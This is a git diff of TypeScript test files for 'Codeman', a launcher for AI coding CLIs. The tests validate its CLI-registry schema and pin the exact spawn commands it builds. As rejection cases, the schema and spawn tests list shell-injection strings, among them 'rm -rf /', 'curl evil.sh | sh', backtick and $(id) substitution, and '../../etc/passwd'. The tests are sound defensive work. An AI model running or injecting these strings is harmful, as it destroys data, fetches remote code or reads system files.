+describe('no CLI-id branching outside the stock catalog', () => { + it('scans a meaningful number of source files (sanity)', () => { + // If this collapses toward zero the walker or the exemption list drifted and every + // assertion below would pass vacuously. Fix the scanner, do not delete the test. + expect(filesScanned).toBeGreaterThan(100); + }); + + it('builds its id list from the live catalog (sanity)', () => { + expect(IDS).toContain('claude'); + expect(IDS).toContain('deepseek'); + expect(IDS.length).toBeGreaterThanOrEqual(9); + }); + + it('still detects a branch when one exists (anti-vacuity)', () => { + // Proves the pattern actually matches the shape it is meant to ban, so a regex typo + // cannot silently turn this whole file into a no-op. + const sample = "if (session.mode === 'codex') { doSomething(); }"; + expect(sample.match(BRANCH_PATTERN)).not.toBeNull(); + expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull(); + }); + + it('has no unapproved id branches', () => { + const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES)); + const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n'); + expect( + offenders, + offenders.length === 0 + ? '' + : `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` + + 'Two ways out, in order of preference:\n' + + ' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' + + ' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' + + ' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' + + " WITH the reason. Read this file's header before choosing option 2." + ).toEqual([]); + }); + + it('has no stale allowlist entries', () => { + // An allowlisted branch that no longer exists is a lie about the codebase, and the next + // person to reintroduce that exact branch would sail straight through. + const present = new Set(findings.map((f) => f.key)); + const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key)); + expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]); + }); +}); diff --git a/test/cli-registry-schema.test.ts b/test/cli-registry-schema.test.ts new file mode 100644 index 000000000..e5b95851a --- /dev/null +++ b/test/cli-registry-schema.test.ts @@ -0,0 +1,230 @@ +/** + * @fileoverview Validation rules for a `CliEntry`. + * + * `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this + * schema is a security boundary, not a typo-catcher. Two properties carry that weight: + * + * - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a + * misspelled field name degrades to "field absent → the permissive default applies", + * which is the worst possible failure mode for a field like `privilegedEnvKeys`. + * - **No shell text can reach the command line.** Every literal is checked against a + * safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather + * than being dropped — a silently dropped flag would change security-relevant behaviour + * (losing `--no-approve` is not a cosmetic difference). + * + * Port: none (pure schema). + */ + +import { describe, it, expect } from 'vitest'; +import { CliEntrySchema } from '../src/config/cli-registry/schema.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; +import type { CliEntry } from '../src/config/cli-registry/types.js'; + +/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */ +function baseEntry(id = 'pi'): Record { + const found = STOCK_CLIS.find((e) => (e.id as string) === id); + if (!found) throw new Error(`no stock entry ${id}`); + return JSON.parse(JSON.stringify(found)) as Record; +} + +function expectRejected(mutate: (entry: Record) => void, because: string): void { + const entry = baseEntry(); + mutate(entry); + const result = CliEntrySchema.safeParse(entry); + expect(result.success, `expected rejection: ${because}`).toBe(false); +} + +describe('the shipped catalog', () => { + it('validates every stock entry exactly as shipped', () => { + // If this fails, the catalog cannot load at all — every other test here is downstream. + for (const entry of STOCK_CLIS) { + const result = CliEntrySchema.safeParse(entry); + expect( + result.success, + `stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}` + ).toBe(true); + } + expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9); + }); + + it('ships every entry with a unique id and order', () => { + const ids = STOCK_CLIS.map((e) => e.id as string); + expect(new Set(ids).size).toBe(ids.length); + const orders = STOCK_CLIS.map((e) => e.order); + expect(new Set(orders).size).toBe(orders.length); + }); +}); + +describe('strictness', () => { + it('rejects an unknown key at the top level', () => { + expectRejected((e) => { + e.unknownField = true; + }, 'a typo must not degrade to a permissive default'); + }); + + it('rejects an unknown key deep inside capabilities', () => { + expectRejected((e) => { + (e.capabilities as Record).newSwitch = true; + }, 'strictness has to hold at every depth, not just the top'); + }); + + it('rejects an unknown key inside discovery', () => { + expectRejected((e) => { + (e.discovery as Record).probeEverything = true; + }, 'strictness has to hold at every depth'); + }); +}); + +describe('no shell text can reach the command line', () => { + it('rejects a literal carrying shell metacharacters', () => { + for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) { + expectRejected( + (e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args[0] = { lit: evil }; + }, + `literal ${JSON.stringify(evil)} must be refused` + ); + } + }); + + it('rejects a fixed flag VALUE carrying shell metacharacters', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--model', value: 'a`b`' }); + }, 'a fixed value is a literal too'); + }); + + it('rejects a flag that does not look like a flag', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: 'rm -rf /' }); + }, 'a flag must match -x / --long-flag'); + }); + + it('rejects an overlay command that is more than bare words', () => { + expectRejected((e) => { + e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } }; + }, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell'); + }); +}); + +describe('cross-field integrity', () => { + it('rejects a valueFrom naming an undeclared param', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' }); + }, 'a dangling valueFrom silently emits nothing'); + }); + + it('rejects a capabilityGate naming an undeclared gate', () => { + expectRejected((e) => { + const launch = e.launch as { variants: Array<{ args: unknown[] }> }; + launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } }); + }, 'an unknown gate never passes, so the flag would be silently unreachable'); + }); + + it('rejects a fallback chain whose last variant is conditional', () => { + expectRejected((e) => { + const launch = e.launch as Record; + launch.chain = 'fallback'; + (launch.variants as Array>)[0].when = { param: 'model', state: 'set' }; + }, 'the terminal case of a fallback chain must be guaranteed to render'); + }); + + it('rejects a legacyConfigAliases key naming an undeclared param', () => { + expectRejected((e) => { + (e.launch as Record).legacyConfigAliases = { nope: 'resumeSessionId' }; + }, 'an alias for a param that does not exist can never apply'); + }); + + it('rejects a configSetenv reading an undeclared param', () => { + // Losing this mapping for DeepSeek would silently drop a permission clamp. + expectRejected((e) => { + (e.env as Record).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }]; + }, 'exporting from a param that does not exist would export nothing, silently'); + }); + + it('rejects a profile name this build does not implement', () => { + expectRejected((e) => { + (e.discovery as Record).launcherProfile = 'no-such-profile'; + }, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled'); + expectRejected((e) => { + (e.env as Record).setenvProfile = 'no-such-profile'; + }, 'an unimplemented setenv profile silently skips setup the CLI needs'); + }); +}); + +describe('the env allowlist cannot be widened by config', () => { + it('requires a prefix to end with an underscore', () => { + expectRejected((e) => { + (e.env as Record).allowedPrefixes = ['CLAUDE']; + }, 'a prefix without a trailing _ matches more namespaces than it names'); + }); + + it('rejects a prefix short enough to swallow unrelated namespaces', () => { + // The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at + // once, and the allowlist is ONE GLOBAL LIST applied to every mode. + expectRejected((e) => { + (e.env as Record).allowedPrefixes = ['P_']; + }, 'a 2-char prefix is too broad for a global allowlist'); + }); + + it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => { + expectRejected((e) => { + (e.capabilities as Record).privilegedEnvKeys = ['dsh-permission-mode']; + }, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key'); + }); +}); + +describe('identity', () => { + it('rejects an id that is not a lowercase kebab token', () => { + for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) { + const entry = baseEntry(); + entry.id = bad; + expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false); + } + }); + + it('rejects an accent that is not a 6-digit hex colour', () => { + expectRejected((e) => { + e.accent = 'red'; + }, 'the accent is interpolated into CSS'); + }); + + it('accepts a well-formed custom entry built from a stock one', () => { + const entry = baseEntry(); + entry.id = 'my-cli'; + entry.label = 'My CLI'; + entry.stock = false; + expect(CliEntrySchema.safeParse(entry).success).toBe(true); + }); +}); + +describe('capability shapes', () => { + it('accepts only the three hook states', () => { + for (const value of ['none', 'always', 'supervised']) { + const entry = baseEntry(); + (entry.capabilities as Record).hooks = value; + expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true); + } + // A boolean was the old shape and must NOT quietly work — `true` would have to mean + // 'always', which is wrong for a supervised CLI. + expectRejected((e) => { + (e.capabilities as Record).hooks = true; + }, 'hooks is a tri-state, not a boolean'); + }); + + it('accepts only known transcript readers', () => { + const entry = baseEntry() as unknown as CliEntry; + for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) { + const candidate = baseEntry(); + (candidate.capabilities as Record).transcript = value; + expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true); + } + expect(entry.capabilities.transcript).toBeDefined(); + expectRejected((e) => { + (e.capabilities as Record).transcript = 'some-future-format'; + }, 'a transcript reader that does not exist would silently read nothing'); + }); +}); diff --git a/test/cli-registry-spawn-golden.test.ts b/test/cli-registry-spawn-golden.test.ts new file mode 100644 index 000000000..72efee787 --- /dev/null +++ b/test/cli-registry-spawn-golden.test.ts @@ -0,0 +1,295 @@ +/** + * @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine. + * + * Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work + * compared the engine against `buildSpawnCommand()` instead — which read as a strong parity + * proof right up until `buildSpawnCommand` was itself switched over to call the engine, at + * which point it was comparing the engine with itself and would have happily accepted any + * regression the two shared. Literals cannot rot that way: they were captured from the + * hand-written builders BEFORE those builders were removed, and they are now the only + * surviving record of what those builders emitted. + * + * ⚠️ If a change here makes one of these fail, the question is never "what is the new string?" + * It is "which real CLI invocation just changed, and is that intended?" A byte that moves in + * this file is a byte that moves in a command line Codeman executes. + * + * Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included. + * Grok had no parity coverage at all in the first draft of the registry, and deepseek did not + * exist in it — the two modes most likely to be transcribed wrong were the two nothing + * checked. + * + * Port: none (pure function over registry data). + */ + +import { describe, it, expect } from 'vitest'; +import { getCli } from '../src/config/cli-registry/registry.js'; +import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js'; + +/** A fixed session id, so `--session-id` is stable across runs. */ +const SID = '0f9c2b14-1111-2222-3333-444455556666'; + +function render(options: SpawnBridgeOptions): string | undefined { + const entry = getCli(options.mode); + if (!entry) throw new Error(`no registry entry for mode ${options.mode}`); + return buildSpawnCommandFromRegistry(entry, options); +} + +/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */ +function claude(extra: Partial = {}): string | undefined { + return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra }); +} + +describe('claude', () => { + it('defaults to skip-permissions plus a new session id', () => { + expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'); + }); + + it('maps each permission mode', () => { + expect(claude({ claudeMode: 'auto' })).toBe( + 'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"'); + expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe( + 'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); + + it('resumes through a shell fallback to a fresh session', () => { + // The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell + // text. This pin is what proves the fallback chain still renders as one command line. + expect(claude({ resumeSessionId: 'abc-123-def' })).toBe( + 'claude --dangerously-skip-permissions --resume "abc-123-def" || ' + + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); + + it('carries effort as a flag, and ultracode as a settings blob', () => { + expect(claude({ effort: 'max' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\'' + ); + expect(claude({ effort: 'ultracode' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' + + '--settings \'{"ultracode":true}\'' + ); + }); + + it('gates --name on the CLI version, failing closed when it is unknown', () => { + const named = { sessionName: 'w1 alpha' }; + expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"' + ); + expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + // Unknown version satisfies NO gate. A version probe that fails must not silently + // upgrade behaviour. + expect(claude({ ...named, claudeCliVersion: null })).toBe( + 'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"' + ); + }); +}); + +describe('opencode', () => { + const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) => + render({ mode: 'opencode', sessionId: SID, openCodeConfig }); + + it('spawns bare by default', () => { + expect(oc()).toBe('opencode'); + }); + + it('reads its resume id through the legacy `continueSession` alias', () => { + expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe( + 'opencode --model anthropic/claude --session ses_9' + ); + }); + + it('only forks an existing session', () => { + expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork'); + // --fork with nothing to fork from would be meaningless, so it drops out entirely. + expect(oc({ forkSession: true })).toBe('opencode'); + }); +}); + +describe('codex', () => { + const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) => + render({ mode: 'codex', sessionId: SID, codexConfig }); + + it('spawns bare by default', () => { + expect(cx()).toBe('codex'); + }); + + it('emits the bypass flag only when asked', () => { + expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox'); + expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex'); + }); + + it('sends animations as an explicit true/false config pair', () => { + expect(cx({ animations: true })).toBe('codex --config tui.animations=true'); + expect(cx({ animations: false })).toBe('codex --config tui.animations=false'); + }); + + it('resumes with a POSITIONAL subcommand, not a flag', () => { + expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42'); + }); +}); + +describe('gemini', () => { + const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) => + render({ mode: 'gemini', sessionId: SID, geminiConfig }); + + it('defaults an absent approval mode to yolo', () => { + // ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config + // for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would + // miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts. + expect(gm()).toBe('gemini --skip-trust --approval-mode yolo'); + }); + + it('honours an explicit approval mode', () => { + expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit'); + }); + + it('reads its resume id through the legacy `resumeSession` alias', () => { + expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe( + 'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7' + ); + }); +}); + +describe('antigravity', () => { + const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) => + render({ mode: 'antigravity', sessionId: SID, antigravityConfig }); + + it('runs `agy`, not `antigravity`', () => { + // The mode name is not the binary name. Assuming it was is a bug this registry fixes. + expect(ag()).toBe('agy'); + }); + + it('emits its flags', () => { + expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe( + 'agy --dangerously-skip-permissions --model gemini-3-pro' + ); + expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99'); + }); +}); + +describe('pi', () => { + const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig }); + + it('spawns bare by default', () => { + expect(pi()).toBe('pi'); + }); + + it('renders the full option set', () => { + expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe( + 'pi --model sonnet:high --provider anthropic --thinking xhigh' + ); + }); + + it('treats project trust as a TRI-state', () => { + // Absent is a third state, not a synonym for false: it leaves pi to ask interactively. + expect(pi({ approveProjectTrust: true })).toBe('pi --approve'); + expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve'); + expect(pi()).toBe('pi'); + }); + + it('prefers an explicit session id over -c', () => { + expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14'); + expect(pi({ continueSession: true })).toBe('pi -c'); + expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14'); + }); +}); + +describe('grok', () => { + const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig }); + + it('spawns bare by default', () => { + expect(gk()).toBe('grok'); + }); + + it('emits its bypass flag only when asked', () => { + expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5'); + expect(gk({ alwaysApprove: false })).toBe('grok'); + }); + + it('prefers an explicit resume id over --continue', () => { + expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4'); + expect(gk({ continueSession: true })).toBe('grok --continue'); + expect(gk({ continueSession: true, resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4'); + }); + + it('never puts a credential on the command line', () => { + // grok authenticates from XAI_API_KEY, pushed via `tmux setenv`. There is no --api-key + // arg in its launch spec and there must never be one: the command line is visible to + // every process on the box. + const cmd = gk({ alwaysApprove: true, model: 'grok-4.5' }) ?? ''; + expect(cmd).not.toContain('key'); + expect(cmd).not.toContain('token'); + }); +}); + +describe('deepseek', () => { + const ds = (deepSeekConfig?: SpawnBridgeOptions['deepSeekConfig']) => + render({ mode: 'deepseek', sessionId: SID, deepSeekConfig }); + + it('launches a named profile', () => { + expect(ds({ profile: 'dsh-tui' })).toBe('dsh --profile dsh-tui'); + }); + + it('prefers an explicit resume id over the bare --resume', () => { + expect(ds({ profile: 'p', resumeSessionId: 'sess_42' })).toBe('dsh --profile p --resume sess_42'); + expect(ds({ profile: 'p', resumeSession: true })).toBe('dsh --profile p --resume'); + }); + + it('never puts the permission mode on the command line', () => { + // dsh has no permission FLAG — the switch is the DSH_PERMISSION_MODE env var, exported + // via `tmux setenv`. If this ever renders as an argument, the multi-user clamp and the + // env-key drop are both looking at the wrong surface. + const cmd = ds({ profile: 'p', permissionMode: 'danger-full-access' }) ?? ''; + expect(cmd).toBe('dsh --profile p'); + expect(cmd).not.toContain('danger-full-access'); + expect(cmd).not.toContain('permission'); + }); +}); + +describe('shell', () => { + it('renders no command at all', () => { + // `undefined` is the signal to fall back to local login-shell resolution, which varies + // per user's /etc/passwd entry and so cannot be templated. An empty string would be a + // command, and a wrong one. + expect(render({ mode: 'shell', sessionId: SID })).toBeUndefined(); + }); +}); + +describe('unsafe values are DROPPED, never escaped into the command', () => { + // The hand-written builders silently omitted an argument whose value failed its allowlist, + // rather than quoting it through. That is the behaviour being preserved: a rejected value + // must not reach the CLI in ANY form, because "quoted but present" still lets a caller + // steer the agent (a bogus --model, a traversal path as a session id). + it.each([ + ['claude model', { mode: 'claude' as const, model: 'opus`whoami`' }, 'opus'], + ['claude resume id', { mode: 'claude' as const, resumeSessionId: '../../etc/passwd' }, 'passwd'], + [ + 'claude allowedTools', + { mode: 'claude' as const, claudeMode: 'allowedTools' as const, allowedTools: 'Bash(x); rm -rf /' }, + 'rm', + ], + ])('%s', (_label, extra, forbidden) => { + const cmd = claude(extra) ?? ''; + expect(cmd).not.toContain(forbidden); + expect(cmd).not.toContain('`'); + expect(cmd).not.toContain(';'); + }); + + it('drops an unsafe pi model without falling back to a different one', () => { + expect(render({ mode: 'pi', sessionId: SID, piConfig: { model: 'a`b' } })).toBe('pi'); + }); + + it('refuses a deepseek profile that is not a single path segment', () => { + // A profile name is joined into a filesystem path as well as a shell line, so `../evil` + // has to fail the token pattern rather than be quoted. With no valid name and no default + // profile installed, the flag drops out entirely and dsh picks its own. + const cmd = render({ mode: 'deepseek', sessionId: SID, deepSeekConfig: { profile: '../evil' } }) ?? ''; + expect(cmd).not.toContain('evil'); + expect(cmd).not.toContain('..'); + }); +}); diff --git a/test/deepseek-mode.test.ts b/test/deepseek-mode.test.ts index 6e5501e4c..b5322d774 100644 --- a/test/deepseek-mode.test.ts +++ b/test/deepseek-mode.test.ts @@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => { // Those sessions must keep the pane segmenter. Static, because standing up // a docker/remote session in the unit harness is exactly what the tmux // test-mode mocks exist to avoid. + // + // The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) — + // which reader understands this CLI's on-disk history is exactly the kind of fact the + // CLI registry owns. What this test guards is unchanged and is the part that matters: + // the two LOCATION exclusions beside it. const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8'); - expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/); + expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/); }); it('maps the harness lifecycle states onto real hook events', () => { diff --git a/test/dependency-checker.test.ts b/test/dependency-checker.test.ts index 13b7f0b53..e1b67caec 100644 --- a/test/dependency-checker.test.ts +++ b/test/dependency-checker.test.ts @@ -11,6 +11,9 @@ import { import type { ProbeHost } from '../src/utils/dependency-checker.js'; import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js'; import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js'; +import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js'; +import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js'; +import { enabledClis } from '../src/config/cli-registry/registry.js'; describe('DEPENDENCY_REGISTRY', () => { it('has unique ids', () => { @@ -30,18 +33,42 @@ describe('DEPENDENCY_REGISTRY', () => { expect(office.every((t) => t.required === false)).toBe(true); }); - it('resolves pi through the SAME version rule the run mode uses', () => { - // `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not - // print semver. If the doctor did not apply the identical rule it would report - // "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode - // rather than a missing install. One regex, shared, is what keeps them agreeing. - const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi'); - expect(pi).toBeDefined(); - const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path'); + it.each([ + ['pi', PI_VERSION_REGEX], + ['grok', GROK_VERSION_REGEX], + ['dsh', DEEPSEEK_VERSION_REGEX], + ])('resolves %s through the SAME version rule the run mode uses', (id, expected) => { + // These three have short, generic or squatted binary names, so their resolvers refuse a + // binary that does not print the right shape of version. If the doctor did not apply the + // identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which + // reads as a broken mode rather than a missing install. + // + // Both sides now read one registry entry, so they cannot drift — but the assertion + // compares SOURCE rather than object identity, because the doctor compiles the entry's + // serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing + // the resolver's own RegExp object. + const tool = DEPENDENCY_REGISTRY.find((t) => t.id === id); + expect(tool).toBeDefined(); + const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path'); expect(spec).toBeDefined(); const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean }; expect(resolver.requireVersionMatch).toBe(true); - expect(resolver.versionRegex).toBe(PI_VERSION_REGEX); + expect(resolver.versionRegex?.source).toBe(expected.source); + }); + + it('keeps a doctor row for every CLI that has a binary to probe', () => { + // An earlier draft of the registry refactor silently dropped the grok and dsh rows, so + // `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation + // from the registry so this cannot pass by being updated to match a shrunken table. + const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0); + expect(probeable.length).toBeGreaterThanOrEqual(8); + for (const cli of probeable) { + const bin = cli.discovery.binaries[0]; + const row = DEPENDENCY_REGISTRY.find((t) => + t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin)) + ); + expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined(); + } }); it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => {